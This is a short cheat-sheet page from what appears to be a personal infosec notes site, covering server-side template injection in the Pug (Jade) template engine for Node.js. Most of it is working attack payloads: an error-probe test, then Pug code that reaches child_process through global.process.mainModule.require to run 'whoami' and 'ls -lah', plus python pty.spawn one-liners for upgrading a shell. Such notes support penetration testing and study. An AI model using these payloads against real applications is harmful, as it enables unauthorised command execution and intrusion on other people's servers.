akde/infosec

Information security is ultimately about managing risk

Pug Template Engine

Pug (previously known as Jade) is a JavaScript template engine, used with nodejs or express applications.

Showing a value of a variable: (Important: Without a “HTML function” like p, there is nothing to show)

p #{name}

The input statement creates a hidden field:

input(type='hidden' name='secret' value='42')

Provoke an error:

#{"a" * 5} // Should produce an error
#{"5" * 5} // This works!

RCE without parameters:

- var require = global.process.mainModule.require
= require('child_process').spawnSync('whoami').stdout

RCE with parameters:

- var require = global.process.mainModule.require
= require('child_process').spawnSync('ls', ['-lah']).stdout

You must be logged in to post a comment.

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';